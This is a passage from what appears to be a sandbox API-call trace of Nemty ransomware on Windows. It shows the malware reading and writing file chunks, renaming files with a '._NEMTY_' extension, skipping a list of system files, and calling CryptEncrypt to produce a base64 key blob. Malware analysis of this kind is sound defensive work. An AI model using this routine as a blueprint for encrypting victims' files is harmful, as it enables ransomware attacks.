lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.362] CloseHandle (hObject=0xffffffff) returned 0 [0141.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0141.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0141.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0141.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0141.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_pressed.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_pressed.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_pressed.png._nemty_kgobjgd_")) returned 0 [0141.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0141.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0141.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.363] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="..") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="...") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="windows") returned -1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="rsa") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="NTDETECT.COM") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="ntldr") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="MSDOS.SYS") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="IO.SYS") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="boot.ini") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="boot.ini") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="ntuser.dat") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="desktop.ini") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="CONFIG.SYS") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="RECYCLER") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="bootmgr") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="programdata") returned 1 [0141.363] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="appdata") returned 1 [0141.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0141.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0141.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0141.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0141.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0141.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0141.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0141.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0141.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0141.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0141.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0141.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0141.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0141.364] Sleep (dwMilliseconds=0x5) [0141.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7e830f0, dwHighDateTime=0x1d561e8)) [0141.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7e830f0, dwHighDateTime=0x1d561e8)) [0141.365] GetLastError () returned 0x5 [0141.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.365] GetLastError () returned 0x5 [0141.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.366] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0141.366] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="Yy2WgUQlIgqENpsBemPvze/m1escQgxmRcDXrqZnFZ2KQ0LYO6yyA04PVJddK1j9\r\nzAyOIg+G8eC1ACKGkY9Xh/5c/UyfPNNHWdK8O1vk4xcTCOsKpTFRVQt4+78ts5Wo\r\nJGeNNSznk5vvgI9qt/TNkcnNSqavzWygW9tg7q6KzPMfPZugwq3GKH0+OiZVDmS8\r\nHztfcFjLEn1kL6hxKhCJkJ48/eHDslgO2ZTsJzs1FQNgOxPpsXkjE4Pnu4TVec4b\r\nkzt4r2KPGCA8KDwCLW9rRVqkcnwPXw3W8azBQgC1S4Dj3W8H/VIJEaxe9tE/cE+Z\r\n+mrlI0cYc8E9bL8duU9IyQ==\r\n", pcchString=0x653e91c) returned 1 [0141.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0141.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.366] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.366] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.375] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.394] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.394] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 